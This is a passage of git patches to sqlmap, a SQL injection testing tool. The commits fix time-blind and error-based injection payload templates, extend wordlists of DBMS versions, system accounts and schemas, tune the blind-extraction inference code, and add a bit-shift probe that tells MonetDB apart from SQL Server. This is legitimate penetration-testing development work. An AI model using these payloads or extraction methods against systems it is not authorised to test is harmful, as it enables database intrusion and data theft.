UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 21a50ce4016..f521deb8f06 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1626,9 +1626,9 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3538a8b429b..7543bca1298 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.149" +VERSION = "1.10.6.150" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0d82096025ccfcee0fa04cb229c6ed20757bf7c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 15:37:39 +0200 Subject: [PATCH 606/853] Minor update --- data/txt/common-outputs.txt | 34 ++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 37 insertions(+), 3 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index bd5061b8bf7..1df3cd36f81 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -24,6 +24,34 @@ 9.2. 9.3. +# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...') +10.0. +10.1. +10.2. +10.3. +10.4. +10.5. +10.6. +10.7. +10.8. +10.9. +10.10. +10.11. +11.0. +11.1. +11.2. +11.3. +11.4. +11.5. +11.6. +11.7. +11.8. +12.0. +12.1. +12.2. +12.3. +13.0. + # PostgreSQL PostgreSQL 7.0 PostgreSQL 7.1 @@ -51,6 +79,7 @@ PostgreSQL 14. PostgreSQL 15. PostgreSQL 16. PostgreSQL 17. +PostgreSQL 18. # Oracle Oracle Database 9i Standard Edition Release @@ -97,6 +126,9 @@ Microsoft SQL Server 2025 'debian-sys-maint'@'localhost' 'root'@'%' 'root'@'localhost' +'mysql.sys'@'localhost' +'mysql.session'@'localhost' +'mysql.infoschema'@'localhost' # MySQL < 5.0 debian-sys-maint @@ -420,6 +452,8 @@ XDBWEBSERVICES information_schema performance_schema mysql +sys +test phpmyadmin # PostgreSQL diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6b9c2b87552..c231f69f417 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt +852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b01cfaf542516bce373b0543fc74c0e25b32a8e5f75b6e9990e4e119347059b5 lib/core/settings.py +bfb81831c04059573ed0d17904242183f4d51065f235f00d437f7fc6ddcf33c7 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7543bca1298..7233b0b7bb8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.150" +VERSION = "1.10.6.151" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From da66f1b3ecc458be465d416d2ec13bb18ac36bb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 20:27:33 +0200 Subject: [PATCH 607/853] Adding HUFFMAN_PRIOR_WEIGHTS --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 12 +++++++++++- lib/techniques/blind/inference.py | 3 ++- 3 files changed, 15 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c231f69f417..7576be296de 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -bfb81831c04059573ed0d17904242183f4d51065f235f00d437f7fc6ddcf33c7 lib/core/settings.py +90a49806b83a83f6402b3dd6e35f7f2468d3dbcc0cafc3c382bda6e248344609 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -232,7 +232,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -4dcc79ef8c6af69d9890f16e06cacad70c2e657770d8afca0e425833cd780f08 lib/techniques/blind/inference.py +63e2bc0e2fb6407760245b4f36d7430b626b9654bce51485b6cbf24717225246 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7233b0b7bb8..b00474f0cef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.151" +VERSION = "1.10.6.152" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -523,6 +523,16 @@ # Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads) HUFFMAN_PROBE_LIMIT = 8 +# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently +# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common +# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online +# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen +# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here). +HUFFMAN_PRIOR_WEIGHTS = {} +for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")): + for _char in _chars: + HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index b1ec44a8df4..3b20202331f 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -43,6 +43,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT +from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -296,7 +297,7 @@ def huffmanChar(idx): heap = [] for order, ordinal in enumerate(xrange(128)): - heapq.heappush(heap, (model.get(ordinal, 0) + 1, order, (ordinal,))) + heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 From 57dcc04cbe2896784a487e187be79b7f9ae78aa8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 22:28:19 +0200 Subject: [PATCH 608/853] Minor improvements --- data/txt/sha256sums.txt | 8 ++--- lib/core/settings.py | 10 +++++- lib/techniques/blind/inference.py | 11 +++++++ lib/utils/dialect.py | 43 +++++++++++++++---------- tests/test_dialectdbms.py | 52 ++++++++++++++++++++++--------- 5 files changed, 87 insertions(+), 37 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7576be296de..ee05cd0f89a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -90a49806b83a83f6402b3dd6e35f7f2468d3dbcc0cafc3c382bda6e248344609 lib/core/settings.py +527ee951185f691c68638f03d4da8f9bc894a93f1a791865fc2cc0992ad5f03e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -232,7 +232,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -63e2bc0e2fb6407760245b4f36d7430b626b9654bce51485b6cbf24717225246 lib/techniques/blind/inference.py +a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -247,7 +247,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py -0fd055877e8b21d17c11447dac7f91ef1766e0b04d470c494a6d98f5249e3186 lib/utils/dialect.py +b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -584,7 +584,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py +b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b00474f0cef..00e3231091d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.152" +VERSION = "1.10.6.153" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -533,6 +533,14 @@ for _char in _chars: HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight +# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output +# pool for their enumeration context, so later same-context items that share structure (e.g. +# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from +# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge +# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection. +PREDICTION_FEEDBACK_MAX_LENGTH = 128 +PREDICTION_FEEDBACK_MAX_ITEMS = 10000 + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 3b20202331f..46a99430c4a 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -44,6 +44,8 @@ from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -828,6 +830,15 @@ def blindThread(): finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) + + # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted + # value for its enumeration context so later same-context items sharing structure are predicted + # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool); + # a wrong prediction only ever costs a probe and falls back to bisection. + if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None + and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH + and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): + kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 1d225c3d27a..3be67eac89d 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -28,23 +28,28 @@ # OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing # false positives. See PROVE_DESIGN.md.) # -# Truth table measured on a live OWASP-CRS platform across 11 engines (MySQL, MariaDB/TiDB, -# PostgreSQL, CockroachDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, Derby); -# only the zero-false-positive rules are kept (see _classify). With anchor value 2: +# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB, +# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, +# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With +# anchor value 2: # -# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) vs -# no such operator (SQLite/Oracle/... -> error, so false) -# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB: 2^3=8) - false for XOR dialects +# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) +# vs no such operator (SQLite/Oracle/... -> error, so false) +# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects # (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: # '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB # also use it (neither on the platform), so this can read as PostgreSQL there. -# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite) vs real division (MySQL/Oracle: 2.5) +# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5) # * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) +# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True) +# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while +# SQL Server has NO shift operator (any version) -> this probe splits that one collision. DIALECT_PROBES = ( ("xor", "2^0=2"), ("pgpow", "2^3=8"), ("intdiv", "5/2=2"), ("bitor", "2|0=2"), + ("shift", "1<<2=4"), ) def _classify(signature): @@ -58,28 +63,32 @@ def _classify(signature): all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or a fully WAF-blocked channel also produces) deliberately fall through to None: - >>> _classify((True, False, False, True)) # MySQL / MariaDB / TiDB + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB 'MySQL' - >>> _classify((True, False, True, True)) # Microsoft SQL Server + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) 'Microsoft SQL Server' - >>> _classify((False, True, True, True)) # PostgreSQL + >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<') + 'MonetDB' + >>> _classify((False, True, True, True, False)) # PostgreSQL 'PostgreSQL' - >>> _classify((False, True, False, True)) # CockroachDB (pgwire) -> PostgreSQL family + >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family 'PostgreSQL' - >>> _classify((False, False, True, True)) # SQLite + >>> _classify((False, False, True, True, True)) # SQLite 'SQLite' - >>> _classify((False, False, True, False)) is None # Firebird/HSQLDB/Derby/H2 -> no prior + >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior True - >>> _classify((False, False, False, False)) is None # all-false (Oracle/ClickHouse/blocked) -> no prior + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior True """ - xor, pgpow, intdiv, bitor = signature + xor, pgpow, intdiv, bitor, shift = signature if pgpow: # '^' is exponentiation -> PostgreSQL family return DBMS.PGSQL - if xor and intdiv: # '^' is XOR AND integer division -> SQL Server - return DBMS.MSSQL + if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ... + # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator + # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines). + return DBMS.MONETDB if shift else DBMS.MSSQL if xor and not intdiv: # '^' is XOR AND real division -> MySQL family return DBMS.MYSQL if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 6b464cbc5cd..81de07ece32 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -28,46 +28,68 @@ from lib.utils.dialect import dialectCheckDbms # measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2); -# signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2) +# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs- +# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the +# shift flag does NOT change the classification, which the test proves by trying it both ways. MEASURED = { "mysql": ((True, False, False, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True), DBMS.MYSQL), "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible - "mssql": ((True, False, True, True), DBMS.MSSQL), "postgres": ((False, True, True, True), DBMS.PGSQL), "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) + "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family "sqlite": ((False, False, True, True), DBMS.SQLITE), # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) "firebird": ((False, False, True, False), None), "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 "derby": ((False, False, True, False), None), "h2": ((False, False, True, False), None), + "trino": ((False, False, True, False), None), + "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel } +# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv) +# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does. +SHIFT_SENSITIVE = { + "mssql": ((True, False, True, True, False), DBMS.MSSQL), + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), +} + class TestDialectClassification(unittest.TestCase): - def test_measured_engines_map_as_expected(self): - for engine, (signature, expected) in MEASURED.items(): + def test_shift_sensitive_engines_split_correctly(self): + # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift + # probe); 1<<2=4 (MonetDB only) now separates them. + for engine, (signature, expected) in SHIFT_SENSITIVE.items(): self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + def test_measured_engines_map_as_expected(self): + # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the + # expected DBMS (proves the new probe never perturbs the existing classifications). + for engine, (base, expected) in MEASURED.items(): + for shift in (False, True): + self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) + def test_no_false_positive_across_measured_set(self): - # ambiguous engines must not borrow a major-DBMS identity; concrete ones must stay in range - for engine, (signature, expected) in MEASURED.items(): - result = _classify(signature) - if expected is None: - self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) - else: - self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.ORACLE)) + for engine, (base, expected) in MEASURED.items(): + for shift in (False, True): + result = _classify(base + (shift,)) + if expected is None: + self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) + else: + self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.MONETDB, DBMS.ORACLE)) def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, or simply a WAF-blocked channel) is not + # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not # distinctive enough - it must NOT be guessed as any DBMS - self.assertIsNone(_classify((False, False, False, False))) + self.assertIsNone(_classify((False, False, False, False, False))) + self.assertIsNone(_classify((False, False, False, False, True))) def test_pgpow_dominates_as_postgres_marker(self): # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour - self.assertEqual(_classify((False, True, True, True)), DBMS.PGSQL) - self.assertEqual(_classify((False, True, False, True)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL) class TestDialectCheckDbmsGuard(unittest.TestCase): From 0cfa88e50e2dd112273454aad26fc114ca16547a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 22:40:50 +0200 Subject: [PATCH 609/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- data/xml/errors.xml | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ee05cd0f89a..614668f177b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -77,7 +77,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml -0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml +23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054 data/xml/errors.xml 43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml 